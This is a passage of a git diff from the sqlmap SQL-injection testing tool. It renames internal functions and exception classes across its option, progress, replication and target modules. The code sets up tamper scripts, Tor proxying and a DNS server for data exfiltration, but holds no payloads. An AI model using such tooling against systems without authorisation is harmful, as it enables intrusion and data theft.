__setOS(): +def _setOS(): """ Force the back-end DBMS operating system option. """ @@ -720,7 +720,7 @@ def __setOS(): errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException, errMsg debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os @@ -728,7 +728,7 @@ def __setOS(): Backend.setOs(conf.os) -def __setTechnique(): +def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = map(lambda x: x[0][0].upper(), validTechniques) @@ -740,7 +740,7 @@ def __setTechnique(): errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg for validTech, validInt in validTechniques: if letter == validTech[0]: @@ -749,7 +749,7 @@ def __setTechnique(): conf.tech = _ -def __setDBMS(): +def _setDBMS(): """ Force the back-end DBMS option. """ @@ -772,7 +772,7 @@ def __setDBMS(): errMsg += "system. The supported DBMS are %s. " % ', '.join([d for d in DBMS_DICT]) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException, errMsg for aliases in (MSSQL_ALIASES, MYSQL_ALIASES, PGSQL_ALIASES, ORACLE_ALIASES, \ SQLITE_ALIASES, ACCESS_ALIASES, FIREBIRD_ALIASES, \ @@ -782,7 +782,7 @@ def __setDBMS(): break -def __setTamperingFunctions(): +def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ @@ -806,11 +806,11 @@ def __setTamperingFunctions(): elif not os.path.exists(tfile): errMsg = "tamper script '%s' does not exist" % tfile - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg elif not tfile.endswith('.py'): errMsg = "tamper script '%s' should have an extension '.py'" % tfile - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg dirname, filename = os.path.split(tfile) dirname = os.path.abspath(dirname) @@ -821,7 +821,7 @@ def __setTamperingFunctions(): if not os.path.exists(os.path.join(dirname, '__init__.py')): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg if dirname not in sys.path: sys.path.insert(0, dirname) @@ -829,7 +829,7 @@ def __setTamperingFunctions(): try: module = __import__(filename[:-3]) except ImportError, msg: - raise sqlmapSyntaxException, "cannot import tamper script '%s' (%s)" % (filename[:-3], msg) + raise SqlmapSyntaxException, "cannot import tamper script '%s' (%s)" % (filename[:-3], msg) priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ @@ -850,7 +850,7 @@ def __setTamperingFunctions(): elif test[0] in ("n", "N"): resolve_priorities = False elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException check_priority = False @@ -864,7 +864,7 @@ def __setTamperingFunctions(): if not found: errMsg = "missing function 'tamper(payload, headers)' " errMsg += "in tamper script '%s'" % tfile - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg if resolve_priorities and priorities: priorities.sort(reverse=True) @@ -873,11 +873,11 @@ def __setTamperingFunctions(): for _, function in priorities: kb.tamperFunctions.append(function) -def __setThreads(): +def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 -def __setDNSCache(): +def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ @@ -894,7 +894,7 @@ def __setDNSCache(): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo -def __setHTTPProxy(): +def _setHTTPProxy(): """ Check and set the HTTP proxy to pass by all HTTP requests. """ @@ -927,14 +927,14 @@ def __setHTTPProxy(): if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): errMsg = "proxy value must be in format '(%s)://url:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.pCred: _ = re.search("^(.*?):(.*?)$", conf.pCred) if not _: errMsg = "Proxy authentication credentials " errMsg += "value must be in format username:password" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg else: username = _.group(1) password = _.group(2) @@ -962,7 +962,7 @@ def __setHTTPProxy(): else: proxyHandler = urllib2.ProxyHandler({"http": proxyString}) -def __setSafeUrl(): +def _setSafeUrl(): """ Check and set the safe URL options. """ @@ -977,9 +977,9 @@ def __setSafeUrl(): if conf.saFreq <= 0: errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe url feature" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg -def __setPrefixSuffix(): +def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix @@ -1007,7 +1007,7 @@ def __setPrefixSuffix(): # to be tested for conf.boundaries = [ boundary ] -def __setAuthCred(): +def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) @@ -1016,7 +1016,7 @@ def __setAuthCred(): if kb.passwordMgr: kb.passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), conf.authUsername, conf.authPassword) -def __setHTTPAuthentication(): +def _setHTTPAuthentication(): """ Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate), username and password for first three methods, or key file and certification file for @@ -1031,12 +1031,12 @@ def __setHTTPAuthentication(): elif conf.aType and not conf.aCred: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg elif not conf.aType and conf.aCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if not conf.aCert: debugMsg = "setting the HTTP authentication type and credentials" @@ -1047,7 +1047,7 @@ def __setHTTPAuthentication(): if aTypeLower not in ( "basic", "digest", "ntlm" ): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest or NTLM" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg elif aTypeLower in ( "basic", "digest" ): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % aTypeLower @@ -1060,14 +1060,14 @@ def __setHTTPAuthentication(): aCredRegExp = re.search(regExp, conf.aCred) if not aCredRegExp: - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() - __setAuthCred() + _setAuthCred() if aTypeLower == "basic": authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) @@ -1082,7 +1082,7 @@ def __setHTTPAuthentication(): errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM, " errMsg += "http://code.google.com/p/python-ntlm/" - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence, errMsg authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: @@ -1094,7 +1094,7 @@ def __setHTTPAuthentication(): if not aCertRegExp: errMsg = "HTTP authentication certificate option " errMsg += "must be in format key_file,cert_file" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg # os.path.expanduser for support of paths with ~ key_file = os.path.expanduser(aCertRegExp.group(1)) @@ -1103,11 +1103,11 @@ def __setHTTPAuthentication(): for ifile in (key_file, cert_file): if not os.path.exists(ifile): errMsg = "File '%s' does not exist" % ifile - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg authHandler = HTTPSCertAuthHandler(key_file, cert_file) -def __setHTTPMethod(): +def _setHTTPMethod(): """ Check and set the HTTP method to perform HTTP requests through. """ @@ -1117,7 +1117,7 @@ def __setHTTPMethod(): debugMsg = "setting the HTTP method to %s" % conf.method logger.debug(debugMsg) -def __setHTTPExtraHeaders(): +def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) @@ -1132,7 +1132,7 @@ def __setHTTPExtraHeaders(): conf.httpHeaders.append((header, value)) else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg elif not conf.httpHeaders or len(conf.httpHeaders) == 1: conf.httpHeaders.append((HTTPHEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5")) @@ -1146,7 +1146,7 @@ def __setHTTPExtraHeaders(): conf.httpHeaders.append((HTTPHEADER.CACHE_CONTROL, "no-cache,no-store")) conf.httpHeaders.append((HTTPHEADER.PRAGMA, "no-cache")) -def __defaultHTTPUserAgent(): +def _defaultHTTPUserAgent(): """ @return: default sqlmap HTTP User-Agent header @rtype: C{str} @@ -1161,7 +1161,7 @@ def __defaultHTTPUserAgent(): # updated at March 2009 #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -def __setHTTPUserAgent(): +def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: @@ -1205,7 +1205,7 @@ def __setHTTPUserAgent(): break if _: - conf.httpHeaders.append((HTTPHEADER.USER_AGENT, __defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTPHEADER.USER_AGENT, _defaultHTTPUserAgent())) else: if not kb.userAgents: @@ -1220,7 +1220,7 @@ def __setHTTPUserAgent(): warnMsg += "file '%s'" % paths.USER_AGENTS logger.warn(warnMsg) - conf.httpHeaders.append((HTTPHEADER.USER_AGENT, __defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTPHEADER.USER_AGENT, _defaultHTTPUserAgent())) return count = len(kb.userAgents) @@ -1237,7 +1237,7 @@ def __setHTTPUserAgent(): infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) -def __setHTTPReferer(): +def _setHTTPReferer(): """ Set the HTTP Referer """ @@ -1248,7 +1248,7 @@ def __setHTTPReferer(): conf.httpHeaders.append((HTTPHEADER.REFERER, conf.referer)) -def __setHTTPCookies(): +def _setHTTPCookies(): """ Set the HTTP Cookie header """ @@ -1259,7 +1259,7 @@ def __setHTTPCookies(): conf.httpHeaders.append((HTTPHEADER.COOKIE, conf.cookie)) -def __setHTTPTimeout(): +def _setHTTPTimeout(): """ Set the HTTP timeout """ @@ -1281,7 +1281,7 @@ def __setHTTPTimeout(): socket.setdefaulttimeout(conf.timeout) -def __checkDependencies(): +def _checkDependencies(): """ Checks for missing dependencies. """ @@ -1289,7 +1289,7 @@ def __checkDependencies(): if conf.dependencies: checkDependencies() -def __cleanupOptions(): +def _cleanupOptions(): """ Cleanup configuration attributes. """ @@ -1425,7 +1425,7 @@ def __cleanupOptions(): threadData = getCurrentThreadData() threadData.reset() -def __purgeOutput(): +def _purgeOutput(): """ Safely removes (purges) output directory. """ @@ -1433,7 +1433,7 @@ def __purgeOutput(): if conf.purgeOutput: purge(paths.SQLMAP_OUTPUT_PATH) -def __setConfAttributes(): +def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. @@ -1469,7 +1469,7 @@ def __setConfAttributes(): conf.trafficFP = None conf.wFileType = None -def __setKnowledgeBaseAttributes(flushAll=True): +def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. @@ -1604,7 +1604,7 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.vulnHosts = set() kb.wordlists = None -def __useWizardInterface(): +def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ @@ -1674,7 +1674,7 @@ def __useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") -def __saveCmdline(): +def _saveCmdline(): """ Saves the command line options on a sqlmap configuration INI file Format. @@ -1730,7 +1730,7 @@ def __saveCmdline(): infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG logger.info(infoMsg) -def __setVerbosity(): +def _setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ @@ -1756,7 +1756,7 @@ def __setVerbosity(): elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) -def __mergeOptions(inputOptions, overrideOptions): +def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @@ -1784,14 +1784,14 @@ def __mergeOptions(inputOptions, overrideOptions): if conf[key] is None: conf[key] = value -def __setTrafficOutputFP(): +def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") -def __setDNSServer(): +def _setDNSServer(): if not conf.dnsName: return @@ -1807,24 +1807,24 @@ def __setDNSServer(): except socket.error, msg: errMsg = "there was an error while setting up " errMsg += "DNS server instance ('%s')" % msg - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges, errMsg -def __setTorProxySettings(): +def _setTorProxySettings(): if not conf.tor: return if conf.torType == PROXY_TYPE.HTTP: - __setTorHttpProxySettings() + _setTorHttpProxySettings() else: - __setTorSocksProxySettings() + _setTorSocksProxySettings() -def __setTorHttpProxySettings(): +def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) @@ -1854,7 +1854,7 @@ def __setTorHttpProxySettings(): else: errMsg += "(e.g. http://www.coresec.org/2011/04/24/sqlmap-with-tor/)" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg if not conf.checkTor: warnMsg = "use switch '--check-tor' at " @@ -1865,7 +1865,7 @@ def __setTorHttpProxySettings(): warnMsg += "(e.g. Vidalia)" logger.warn(warnMsg) -def __setTorSocksProxySettings(): +def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) @@ -1873,7 +1873,7 @@ def __setTorSocksProxySettings(): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT) socks.wrapmodule(urllib2) -def __checkTor(): +def _checkTor(): if not conf.checkTor: return @@ -1883,143 +1883,143 @@ def __checkTor(): page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) if not page or 'Congratulations' not in page: errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg else: infoMsg = "Tor is properly being used" logger.info(infoMsg) -def __basicOptionValidation(): +def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.level is not None and not (isinstance(conf.level, int) and conf.level > 0): errMsg = "value for option '--level' must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk > 0): errMsg = "value for option '--risk' must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.limitStart is not None and isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ conf.limitStop is not None and isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.firstChar is not None and isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ conf.lastChar is not None and isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.cpuThrottle is not None and isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.notString and conf.nullConnection: errMsg = "option '--not-string' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.threads > MAX_NUMBER_OF_THREADS: errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.forms and not conf.url: errMsg = "switch '--forms' requires usage of option '-u' (--url)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.requestFile and conf.url: errMsg = "option '-r' is incompatible with option '-u' (--url)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort > 0): errMsg = "value for option '--tor-port' must be a positive integer" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.skip and conf.testParameter: errMsg = "option '--skip' is incompatible with option '-p'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.forms and any([conf.logFile, conf.bulkFile, conf.direct, conf.requestFile, conf.googleDork]): errMsg = "switch '--forms' is compatible only with option '-u' (--url)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if isinstance(conf.uCols, basestring): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.charset: _ = checkCharEncoding(conf.charset, False) @@ -2027,16 +2027,16 @@ def __basicOptionValidation(): errMsg = "unknown charset '%s'. Please visit " % conf.charset errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported charsets" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg else: conf.charset = _ if conf.loadCookies: if not os.path.exists(conf.loadCookies): errMsg = "cookies file '%s' does not exist" % conf.loadCookies - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg -def __resolveCrossReferences(): +def _resolveCrossReferences(): lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage @@ -2052,54 +2052,54 @@ def init(inputOptions=AttribDict(), overrideOptions=False): else: if hasattr(LOGGER_HANDLER, "disable_coloring"): LOGGER_HANDLER.disable_coloring = True - __setConfAttributes() - __setKnowledgeBaseAttributes() - __mergeOptions(inputOptions, overrideOptions) - __useWizardInterface() - __setVerbosity() - __saveCmdline() - __setRequestFromFile() - __cleanupOptions() - __purgeOutput() - __checkDependencies() - __basicOptionValidation() - __setTorProxySettings() - __setDNSServer() - __adjustLoggingFormatter() - __setMultipleTargets() - __setTamperingFunctions() - __setTrafficOutputFP() - __resolveCrossReferences() + _setConfAttributes() + _setKnowledgeBaseAttributes() + _mergeOptions(inputOptions, overrideOptions) + _useWizardInterface() + _setVerbosity() + _saveCmdline() + _setRequestFromFile() + _cleanupOptions() + _purgeOutput() + _checkDependencies() + _basicOptionValidation() + _setTorProxySettings() + _setDNSServer() + _adjustLoggingFormatter() + _setMultipleTargets() + _setTamperingFunctions() + _setTrafficOutputFP() + _resolveCrossReferences() parseTargetUrl() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): - __setHTTPTimeout() - __setHTTPExtraHeaders() - __setHTTPCookies() - __setHTTPReferer() - __setHTTPUserAgent() - __setHTTPMethod() - __setHTTPAuthentication() - __setHTTPProxy() - __setDNSCache() - __setSafeUrl() - __setGoogleDorking() - __setBulkMultipleTargets() + _setHTTPTimeout() + _setHTTPExtraHeaders() + _setHTTPCookies() + _setHTTPReferer() + _setHTTPUserAgent() + _setHTTPMethod() + _setHTTPAuthentication() + _setHTTPProxy() + _setDNSCache() + _setSafeUrl() + _setGoogleDorking() + _setBulkMultipleTargets() __urllib2Opener() - __checkTor() - __setCrawler() - __findPageForms() - __setDBMS() - __setTechnique() + _checkTor() + _setCrawler() + _findPageForms() + _setDBMS() + _setTechnique() - __setThreads() - __setOS() - __setWriteFile() - __setMetasploit() - __setDBMSAuthentication() + _setThreads() + _setOS() + _setWriteFile() + _setMetasploit() + _setDBMSAuthentication() loadPayloads() - __setPrefixSuffix() + _setPrefixSuffix() update() - __loadQueries() + _loadQueries() diff --git a/lib/core/progress.py b/lib/core/progress.py index 8162c8ae7..858c58492 100644 --- a/lib/core/progress.py +++ b/lib/core/progress.py @@ -15,8 +15,8 @@ class ProgressBar(object): """ def __init__(self, minValue=0, maxValue=10, totalWidth=None): - self.__progBar = "[]" - self.__oldProgBar = "" + self._progBar = "[]" + self._oldProgBar = "" self.__min = int(minValue) self.__max = int(maxValue) self.__span = self.__max - self.__min @@ -24,7 +24,7 @@ class ProgressBar(object): self.__amount = 0 self.update() - def __convertSeconds(self, value): + def _convertSeconds(self, value): seconds = value minutes = seconds / 60 seconds = seconds - (minutes * 60) @@ -56,34 +56,34 @@ class ProgressBar(object): # Build a progress bar with an arrow of equal signs if numHashes == 0: - self.__progBar = "[>%s]" % (" " * (allFull - 1)) + self._progBar = "[>%s]" % (" " * (allFull - 1)) elif numHashes == allFull: - self.__progBar = "[%s]" % ("=" * allFull) + self._progBar = "[%s]" % ("=" * allFull) else: - self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1), + self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" - self.__progBar = "%s %s" % (percentString, self.__progBar) + self._progBar = "%s %s" % (percentString, self._progBar) def draw(self, eta=0): """ This method draws the progress bar if it has changed """ - if self.__progBar != self.__oldProgBar: - self.__oldProgBar = self.__progBar + if self._progBar != self._oldProgBar: + self._oldProgBar = self._progBar if eta and self.__amount < self.__max: - dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta)))) + dataToStdout("\r%s %d/%d ETA %s" % (self._progBar, self.__amount, self.__max, self._convertSeconds(int(eta)))) else: - blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) - dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) + blank = " " * (80 - len("\r%s %d/%d" % (self._progBar, self.__amount, self.__max))) + dataToStdout("\r%s %d/%d%s" % (self._progBar, self.__amount, self.__max, blank)) def __str__(self): """ This method returns the progress bar string """ - return getUnicode(self.__progBar) + return getUnicode(self._progBar) diff --git a/lib/core/replication.py b/lib/core/replication.py index b201a577b..48e27c8ab 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -9,8 +9,8 @@ import sqlite3 from extra.safe2bin.safe2bin import safechardecode from lib.core.common import unsafeSQLIdentificatorNaming -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapValueException class Replication(object): """ @@ -64,7 +64,7 @@ class Replication(object): self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?']*len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" - raise sqlmapValueException, errMsg + raise SqlmapValueException, errMsg def execute(self, sql, parameters=[]): try: @@ -73,7 +73,7 @@ class Replication(object): errMsg = "problem occurred ('%s') while accessing sqlite database " % ex errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg def beginTransaction(self): """ diff --git a/lib/core/target.py b/lib/core/target.py index 4e6b1bf90..a770bfae1 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -31,14 +31,14 @@ from lib.core.enums import HTTPHEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import PLACE from lib.core.enums import POST_HINT -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapMissingPrivileges -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUserQuitException -from lib.core.option import __setDBMS -from lib.core.option import __setKnowledgeBaseAttributes -from lib.core.option import __setAuthCred +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapUserQuitException +from lib.core.option import _setDBMS +from lib.core.option import _setKnowledgeBaseAttributes +from lib.core.option import _setAuthCred from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import HOST_ALIASES from lib.core.settings import JSON_RECOGNITION_REGEX @@ -55,7 +55,7 @@ from lib.utils.hashdb import HashDB from lib.core.xmldump import dumper as xmldumper from thirdparty.odict.odict import OrderedDict -def __setRequestParams(): +def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. @@ -79,7 +79,7 @@ def __setRequestParams(): # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: errMsg = "HTTP POST method depends on HTTP data value to be posted" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if conf.data is not None: conf.method = HTTPMETHOD.POST @@ -92,7 +92,7 @@ def __setRequestParams(): message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = re.sub(r'("[^"]+"\s*:\s*"[^"]+)"', 